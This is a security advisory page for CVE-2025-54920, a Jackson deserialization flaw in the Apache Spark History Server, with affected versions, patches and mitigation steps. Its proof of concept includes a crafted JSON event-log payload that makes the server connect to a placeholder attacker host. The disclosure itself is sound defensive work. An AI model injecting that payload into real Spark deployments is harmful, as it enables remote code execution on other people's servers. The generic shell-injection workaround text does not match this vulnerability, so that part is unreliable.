CVE-2025-54920 is a high-severity (CVSS 8.8) Deserialization of Untrusted Data vulnerability in org.apache.spark:spark-core_2.13. A fix is available for org.apache.spark:spark-core_2.13 — see the affected versions and patch details below.
Apache Spark: Spark History Server Code Execution Vulnerability
Exploitation Status
No confirmed exploitation observed yet
- A successful exploit gives an attacker total control of the affected component, not partial access.
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for CVE-2025-54920.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
org.apache.spark:spark-core_2.13☕org.apache.spark:spark-core_2.13☕org.apache.spark:spark-core_2.12☕org.apache.spark:spark-core_2.11☕org.apache.spark:spark-core_2.10☕org.apache.spark:spark-core_2.9.3Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.
Description
This issue affects Apache Spark: before 3.5.7 and 4.0.1. Users are recommended to upgrade to version 3.5.7 or 4.0.1 and above, which fixes the issue.
Summary
Apache Spark 3.5.4 and earlier versions contain a code execution vulnerability in the Spark History Web UI due to overly permissive Jackson deserialization of event log data. This allows an attacker with access to the Spark event logs directory to inject malicious JSON payloads that trigger deserialization of arbitrary classes, enabling command execution on the host running the Spark History Server.
Details
The vulnerability arises because the Spark History Server uses Jackson polymorphic deserialization with @JsonTypeInfo.Id.CLASS on SparkListenerEvent objects, allowing an attacker to specify arbitrary class names in the event JSON. This behavior permits instantiating unintended classes, such as org.apache.hive.jdbc.HiveConnection, which can perform network calls or other malicious actions during deserialization.
The attacker can exploit this by injecting crafted JSON content into the Spark event log files, which the History Server then deserializes on startup or when loading event logs. For example, the attacker can force the History Server to open a JDBC connection to a remote attacker-controlled server, demonstrating remote command injection capability.
Proof of Concept:
-
Run Spark with event logging enabled, writing to a writable directory (spark-logs).
-
Inject the following JSON at the beginning of an event log file:
{
"Event": "org.apache.hive.jdbc.HiveConnection", "uri": "jdbc:hive2://<IP>:<PORT>/", "info": { "hive.metastore.uris": "thrift://<IP>:<PORT>" } }
-
Start the Spark History Server with logs pointing to the modified directory.
-
The Spark History Server initiates a JDBC connection to the attacker’s server, confirming the injection.
Impact
An attacker with write access to Spark event logs can execute arbitrary code on the server running the History Server, potentially compromising the entire system.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| ☕Maven | org.apache.spark:spark-core_2.13 | ≥ 4.0.0&&< 4.0.1 | 4.0.1org.apache.spark:spark-core_2.13:4.0.1 |
| ☕Maven | org.apache.spark:spark-core_2.13 | all versions | 3.5.7org.apache.spark:spark-core_2.13:3.5.7 |
| ☕Maven | org.apache.spark:spark-core_2.12 | all versions | 3.5.7org.apache.spark:spark-core_2.12:3.5.7 |
| ☕Maven | org.apache.spark:spark-core_2.11 | all versions | No fix |
| ☕Maven | org.apache.spark:spark-core_2.10 | all versions | No fix |
| ☕Maven | org.apache.spark:spark-core_2.9.3 | all versions | No fix |
Affected Products
sparkapacheDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for org.apache.spark:spark-core_2.13, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update org.apache.spark:spark-core_2.13 to 4.0.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2025-54920 is resolved across your whole dependency graph.
Workarounds
Stop passing untrusted input into the interpreter or shell: call the affected binary with an argument array rather than a composed command string, reject anything outside a strict allowlist of expected values, and run the component under an account that cannot reach beyond the work it legitimately does.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability.Source: Red Hat security advisory for CVE-2025-54920 (CC BY 4.0)
Frequently Asked Questions
Is CVE-2025-54920 in your dependencies?
Find it across Maven, including transitive dependencies.